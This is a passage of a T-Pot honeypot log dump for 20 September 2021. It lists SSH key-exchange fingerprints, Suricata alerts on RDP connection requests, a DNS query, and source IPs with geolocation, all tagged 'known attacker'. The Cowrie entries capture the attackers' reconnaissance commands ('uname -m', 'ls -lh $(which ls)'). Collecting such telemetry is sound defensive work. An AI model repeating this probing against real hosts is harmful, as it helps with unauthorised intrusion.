"timestamp": "2021-09-20T12:11:29.999893Z", "@timestamp": "2021-09-20T12:11:29.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
36052	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:11:23.114462+03	2021-09-20 15:15:04.070689+03	{"_id": "yAYeA3wBvYTbRNuENF_p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "343b13eb48a4", "@version": "1", "timestamp": "2021-09-20T12:11:23.114462Z", "@timestamp": "2021-09-20T12:11:23.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
36053	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:23.128963+03	2021-09-20 15:15:04.07169+03	{"_id": "yQYeA3wBvYTbRNuENF_p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "43.240.6.90", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6194791793823242, "duplicate": true, "timestamp": "2021-09-20T12:11:23.128963Z", "@timestamp": "2021-09-20T12:11:23.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36054	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:11:23.113726+03	2021-09-20 15:15:04.07369+03	{"_id": "ywYeA3wBvYTbRNuENl8A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 1883355950505999, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54588, "dest_port": 22, "timestamp": "2021-09-20T12:11:23.113726Z", "@timestamp": "2021-09-20T12:11:23.113Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
36055	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:25.242137+03	2021-09-20 15:15:04.07469+03	{"_id": "1AYeA3wBvYTbRNuEPF-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "43.240.6.90", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6178638935089111, "duplicate": true, "timestamp": "2021-09-20T12:11:25.242137Z", "@timestamp": "2021-09-20T12:11:25.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36056	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:11:25.433515+03	2021-09-20 15:15:04.075691+03	{"_id": "1gYeA3wBvYTbRNuEPV_Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:25.353036+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1216845745840908, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 42422, "dest_port": 3389, "timestamp": "2021-09-20T12:11:25.433515Z", "@timestamp": "2021-09-20T12:11:25.433Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
36059	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:11:30.04691+03	2021-09-20 15:15:04.07969+03	{"_id": "DQYeA3wBvYTbRNuEUGBE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d49a83c7af69", "@version": "1", "timestamp": "2021-09-20T12:11:30.046910Z", "@timestamp": "2021-09-20T12:11:30.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
36060	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:11:23.000186+03	2021-09-20 15:15:04.08069+03	{"_id": "DgYeA3wBvYTbRNuEUWBb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:22.714777+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 1132080267192345, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 22797, "timestamp": "2021-09-20T12:11:23.000186Z", "@timestamp": "2021-09-20T12:11:23.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36061	95.85.8.215	109.199.241.180	Suricata	2021-09-20 15:11:30.046328+03	2021-09-20 15:15:04.08169+03	{"_id": "DwYeA3wBvYTbRNuEUWBb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 1744188273163507, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46496, "dest_port": 22, "timestamp": "2021-09-20T12:11:30.046328Z", "@timestamp": "2021-09-20T12:11:30.046Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
36062	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:21.444724+03	2021-09-20 15:15:04.083689+03	{"_id": "uAYeA3wBvYTbRNuELV8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:21.444724Z", "@timestamp": "2021-09-20T12:11:21.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36063	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:22.063044+03	2021-09-20 15:15:04.084689+03	{"_id": "vQYeA3wBvYTbRNuEMF_-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "43.240.6.90", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6184031963348389, "duplicate": true, "timestamp": "2021-09-20T12:11:22.063044Z", "@timestamp": "2021-09-20T12:11:22.063Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36064	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:22.510106+03	2021-09-20 15:15:04.08569+03	{"_id": "vAYeA3wBvYTbRNuEMF_-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:22.510106Z", "@timestamp": "2021-09-20T12:11:22.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36065	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:11:25.53306+03	2021-09-20 15:15:04.086691+03	{"_id": "2AYeA3wBvYTbRNuEPV_R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:25.353036+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1216845745840908, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 42422, "dest_port": 3389, "timestamp": "2021-09-20T12:11:25.533060Z", "@timestamp": "2021-09-20T12:11:25.533Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
36066	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:11:25.433515+03	2021-09-20 15:15:04.087689+03	{"_id": "1QYeA3wBvYTbRNuEPV_Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:25.353036+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1216845745840908, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 42422, "dest_port": 3389, "timestamp": "2021-09-20T12:11:25.433515Z", "@timestamp": "2021-09-20T12:11:25.433Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
36067	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:11:25.452519+03	2021-09-20 15:15:04.08869+03	{"_id": "1wYeA3wBvYTbRNuEPV_Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:25.353036+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 1216845745840908, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 42422, "timestamp": "2021-09-20T12:11:25.452519Z", "@timestamp": "2021-09-20T12:11:25.452Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36068	87.251.67.120	109.199.241.180	Fatt	2021-09-20 15:11:25.433515+03	2021-09-20 15:15:04.090691+03	{"_id": "2gYeA3wBvYTbRNuEPl_K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 42422, "dest_port": 3389, "timestamp": "2021-09-20T12:11:25.433515", "@timestamp": "2021-09-20T12:11:25.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	MD
36069	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:25.657002+03	2021-09-20 15:15:04.091691+03	{"_id": "4AYeA3wBvYTbRNuEQF-g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:25.657002Z", "@timestamp": "2021-09-20T12:11:25.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36070	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:26.27429+03	2021-09-20 15:15:04.093691+03	{"_id": "4QYeA3wBvYTbRNuEQF-g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "43.240.6.90", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6179802417755127, "duplicate": true, "timestamp": "2021-09-20T12:11:26.274290Z", "@timestamp": "2021-09-20T12:11:26.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36071	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:11:26.521721+03	2021-09-20 15:15:04.094691+03	{"_id": "4wYeA3wBvYTbRNuEQV-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 38725, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1504619292194297, "@version": "1", "in_iface": "enp5s0", "src_port": 40195, "dest_port": 53, "timestamp": "2021-09-20T12:11:26.521721Z", "@timestamp": "2021-09-20T12:11:26.521Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
